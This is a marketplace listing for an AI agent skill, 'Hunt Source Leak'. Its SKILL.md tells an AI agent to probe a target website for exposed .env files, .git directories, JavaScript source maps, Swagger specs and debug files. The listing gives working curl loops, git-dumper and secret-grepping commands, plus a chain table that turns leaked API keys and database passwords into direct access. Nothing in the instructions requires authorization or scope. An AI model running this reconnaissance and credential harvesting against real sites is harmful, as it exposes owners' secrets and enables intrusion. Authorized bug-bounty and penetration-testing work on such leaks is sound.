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Hunt Source Leak

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elementalsouls
hunt-source-leak

Hunt source code and build artifact leakage — JavaScript source maps (.js.map) reconstructing TypeScript/ES6 source, Swagger/OpenAPI JSON endpoint discovery, .env/.git exposure, webpack chunks with hardcoded secrets, robots.txt/security.txt recon, build-info files, asset-manifest.json API route discovery, .DS_Store file listing. Use at the START of every recon session — these findings often unlock the entire attack surface.

Overview

Publisherelementalsouls
RepositoryClaude-BugHunter
Skill namehunt-source-leak
Stars
4.5K
Forks
678
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by elementalsouls on GitHub. Read the source before you install it.

Installation

Install the Hunt Source Leak AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p .claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-source-leak .claude/skills/hunt-source-leak
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Hunt Source Leak in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Hunt Source Leak on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Hunt Source Leak is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

HUNT-SOURCE-LEAK — Source Code & Build Artifact Leakage

Crown Jewel Targets

Source map exposing TypeScript source = see all API routes, auth logic, secrets. Swagger/OpenAPI JSON = complete API surface map.

Highest-value findings:

  • .js.map source maps — reconstruct full TypeScript/ES6 source code → find hardcoded API keys, internal endpoints, auth logic bypasses
  • swagger.json / openapi.json — complete REST API specification with all endpoints, parameters, auth schemes, and internal route names
  • .env / .env.production — APP_KEY, DB_PASSWORD, API_KEY, SECRET_KEY in plaintext
  • .git/ exposuregit clone the entire source history → all past hardcoded secrets
  • asset-manifest.json / _next/static/ — all JS bundle paths → systematic source map discovery
  • build-info / info.json — git commit hash, build timestamp, dependency versions → CVE targeting

Phase 1 — Quick Wins (Run First)

bash
# These 10 requests take <30 seconds and often yield Critical findings
for PATH in \
  "/.env" \
  "/.env.production" \
  "/.env.local" \
  "/.git/HEAD" \
  "/swagger.json" \
  "/api/swagger.json" \
  "/v1/swagger.json" \
  "/openapi.json" \
  "/api/openapi.json" \
  "/api-docs"; do
  STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$PATH")
  if [ "$STATUS" = "200" ]; then
    echo "[+] HIT: https://$TARGET$PATH"
    head -5 /tmp/sl_test
    echo "---"
  fi
done

Phase 2 — Source Map Discovery

Always resolve the CURRENT build hash before testing, and again before re-verifying. Bundle filenames are content-hashed, so they rotate on every deploy. A .map URL recorded yesterday can 404 today while the map is still fully exposed under a new name. A 404 at the old URL is not remediation — it is a new build.

bash
# ALWAYS derive the hash live, never reuse a recorded URL
HASH=$(curl -s "https://$TARGET/" | grep -oE 'main\.[a-f0-9]+\.js' | head -1)
curl -s -o /dev/null -w '%{http_code} %{size_download} %{content_type}\n' \
  "https://$TARGET/static/js/${HASH}.map"

Lesson from an authorized engagement. A large production map was found at main.<hashA>.js.map. On re-verification that URL returned a small HTML soft-404 and the finding was nearly closed as fixed. The bundle had rotated to main.<hashB>.js — and the map was still published at main.<hashB>.js.map, same size. Nothing had been remediated.

Tell the client this explicitly in the report: redeploying does not fix source map exposure. Only GENERATE_SOURCEMAP=false (or stripping .map at deploy) plus a CDN purge closes it. A team that redeploys and re-checks the old link will wrongly declare victory.

Same rule applies to any content-hashed artifact: chunk files, CSS maps, asset-manifest.json, and staging equivalents.

bash
# Step 1: Get asset manifest to find all JS bundle paths
curl -s "https://$TARGET/asset-manifest.json" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/static/js/main.*.js" 2>/dev/null | head -3

# Next.js
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
curl -s "https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js" | head -5

# Step 2: For each JS bundle, check for source map reference at end of file
for JS_URL in $(curl -s https://$TARGET/ | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//'); do
  LAST_LINE=$(curl -s "https://$TARGET$JS_URL" | tail -1)
  echo "$LAST_LINE" | grep -q "sourceMappingURL" && echo "[+] Source map: $JS_URL"
done

# Step 3: Download and reconstruct source from .map files
JS_URL="https://$TARGET/static/js/main.abc123.js"
MAP_URL="${JS_URL}.map"
curl -s "$MAP_URL" | python3 -c "
import sys, json, os
data = json.load(sys.stdin)
sources = data.get('sources', [])
contents = data.get('sourcesContent', [])
for i, (src, content) in enumerate(zip(sources, contents)):
    if content:
        path = '/tmp/sourcemap_extract/' + src.replace('../','').replace('./',''). replace('webpack://','')
        os.makedirs(os.path.dirname(path), exist_ok=True)
        with open(path, 'w') as f:
            f.write(content)
        print(f'[+] Extracted: {src}')
"

# Step 4: Grep extracted source for secrets
grep -r "API_KEY\|SECRET\|PASSWORD\|TOKEN\|PRIVATE" /tmp/sourcemap_extract/ 2>/dev/null
grep -r "process\.env\." /tmp/sourcemap_extract/ 2>/dev/null | grep -v "NEXT_PUBLIC_" | head -20
grep -r "http://internal\|localhost\|127\.0\.0\.1\|10\.\|172\.\|192\.168" /tmp/sourcemap_extract/ 2>/dev/null | head -20

Phase 3 — Swagger / OpenAPI Discovery

bash
# Common paths
SWAGGER_PATHS=(
  "/swagger.json" "/swagger.yaml" "/swagger/"
  "/api/swagger.json" "/api/swagger.yaml"
  "/v1/swagger.json" "/v2/swagger.json" "/v3/swagger.json"
  "/openapi.json" "/openapi.yaml"
  "/api/openapi.json" "/api-docs" "/api-docs.json"
  "/api/v1/swagger.json" "/api/v2/swagger.json"
  "/rest/swagger.json" "/rest/api-docs"
  "/.well-known/openapi.json"
  "/graphql/schema.json"
)

for PATH in "${SWAGGER_PATHS[@]}"; do
  STATUS=$(curl -s -o /tmp/swagger_test -w "%{http_code}" "https://$TARGET$PATH")
  if [ "$STATUS" = "200" ]; then
    echo "[+] Found: https://$TARGET$PATH"
    # Extract all API paths from swagger
    python3 -c "
import sys, json
try:
    d = json.load(open('/tmp/swagger_test'))
    paths = list(d.get('paths', {}).keys())
    print(f'Endpoints: {len(paths)}')
    print('\n'.join(sorted(paths)))
except: pass
" | head -50
  fi
done

Phase 4 — .git Exposure

bash
# Check if .git directory is accessible
curl -s "https://$TARGET/.git/HEAD" | grep -q "ref:" && echo "[+] .git exposed!"

# If exposed, reconstruct repo
# Tool: git-dumper
pip3 install git-dumper
git-dumper "https://$TARGET/.git/" /tmp/dumped-repo/

# Grep for secrets in all git history
cd /tmp/dumped-repo && \
  git log --all --oneline 2>/dev/null | head -20
  git grep -i "password\|secret\|api_key\|token" $(git rev-list --all) 2>/dev/null | head -30

# trufflehog on git history
trufflehog git file:///tmp/dumped-repo/ 2>/dev/null | head -50

Phase 5 — Forgotten Files & Debug Endpoints

bash
# Build artifacts and debug files
DEBUG_PATHS=(
  "/build-info.json" "/build/build-info.json"
  "/info" "/actuator/info" "/api/info"
  "/version" "/api/version" "/_version"
  "/health" "/status" "/ping"
  "/robots.txt" "/security.txt" "/.well-known/security.txt"
  "/sitemap.xml" "/manifest.json" "/browserconfig.xml"
  "/crossdomain.xml" "/clientaccesspolicy.xml"
  "/phpinfo.php" "/info.php" "/test.php"
  "/server-status" "/server-info" "/.htaccess"
  "/web.config" "/applicationHost.config"
  "/WEB-INF/web.xml" "/META-INF/MANIFEST.MF"
  "/package.json" "/composer.json" "/Gemfile"
  "/Dockerfile" "/docker-compose.yml" "/.dockerenv"
)

for PATH in "${DEBUG_PATHS[@]}"; do
  STATUS=$(curl -s -o /tmp/debug_test -w "%{http_code}" "https://$TARGET$PATH")
  if [ "$STATUS" = "200" ]; then
    echo "[+] Found: https://$TARGET$PATH ($STATUS, $(wc -c < /tmp/debug_test) bytes)"
    head -3 /tmp/debug_test
    echo "---"
  fi
done

Phase 6 — .DS_Store File Listing

bash
# .DS_Store files on macOS-deployed web servers reveal directory structure
curl -s "https://$TARGET/.DS_Store" | xxd | head -10

# Parse .DS_Store to extract filenames
pip3 install ds_store
python3 -c "
from ds_store import DSStore
with DSStore.open('/tmp/ds_store_test', 'r') as d:
    for entry in d:
        print(entry.filename)
"

# Recursive .DS_Store enumeration
# Tool: https://github.com/lijiejie/ds_store_exp
python3 ds_store_exp.py "https://$TARGET/"

Phase 7 — webpack Chunk Analysis

bash
# Download and analyze webpack chunks for hardcoded values
# Find chunk files
curl -s https://$TARGET/ | grep -oP '"[^"]*\.chunk\.js"' | tr -d '"' | while read chunk; do
  echo "Analyzing: $chunk"
  curl -s "https://$TARGET$chunk" | \
    grep -oE '"(api_key|apiKey|secret|password|token|key)"\s*:\s*"[^"]+"' | head -5
done

# Also grep for internal hostnames
curl -s "https://$TARGET/static/js/main.*.js" | \
  grep -oE '"(https?://[^"]*internal[^"]*|http://[^"]*localhost[^"]*)"' | sort -u

# Check for Base64-encoded secrets
curl -s "https://$TARGET/static/js/main.*.js" | \
  grep -oP '"[A-Za-z0-9+/]{30,}={0,2}"' | while read b64; do
  DECODED=$(echo "$b64" | tr -d '"' | base64 -d 2>/dev/null)
  echo "$DECODED" | grep -iE "key|secret|password|token" && echo "  B64: $b64"
done

Chain Table

Source leak findingChain toImpact
Source map with API keyUse key directly → API accessHigh/Critical
Source map with auth logicFind auth bypass routeCritical
Swagger → internal endpointsTest undocumented admin routesHigh
.git exposedFull source history → all past secretsCritical
build-info with git hashCVE targeting exact versionHigh
.env with DB_PASSWORDDirect database accessCritical

Tools

bash
# git-dumper (reconstruct exposed .git)
pip3 install git-dumper
git-dumper "https://target.com/.git/" /tmp/repo/

# sourcemap-explorer (visualize what's in bundles)
npm install -g source-map-explorer
source-map-explorer main.js

# unwebpack-sourcemap (extract all source files)
npm install -g unwebpack-sourcemap

# trufflehog (secret scanning)
trufflehog filesystem /tmp/repo/

Validation

✅ Source map: reconstructed TypeScript source contains API endpoints or hardcoded secrets ✅ Swagger: JSON contains internal endpoints not visible in UI ✅ .git exposed: git-dumper successfully clones repo, secrets in history ✅ .env exposed: DATABASE_URL, API_KEY, SECRET_KEY visible in plaintext

Severity:

  • .env with credentials: Critical
  • .git with secrets in history: Critical
  • Source map with secrets: High
  • Swagger with internal routes: Medium-High
  • robots.txt only: Informational

Frequently asked questions

What does the Hunt Source Leak AI skill do?

Hunt source code and build artifact leakage — JavaScript source maps (.js.map) reconstructing TypeScript/ES6 source, Swagger/OpenAPI JSON endpoint discovery, .env/.git exposure, webpack chunks with hardcoded secrets, robots.txt/security.txt recon, build-info files, asset-manifest.json API route discovery, .DS_Store file listing. Use at the START of every recon session — these findings often unlock the entire attack surface.

Why use Hunt Source Leak on TypingMind?

Because you install it once and use it with any model. Hunt Source Leak is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Hunt Source Leak in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-source-leak. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Hunt Source Leak?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Hunt Source Leak?

As many as you like. As long as a model supports skills, you can use Hunt Source Leak with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Hunt Source Leak AI skill free?

Yes. It is published on GitHub by elementalsouls under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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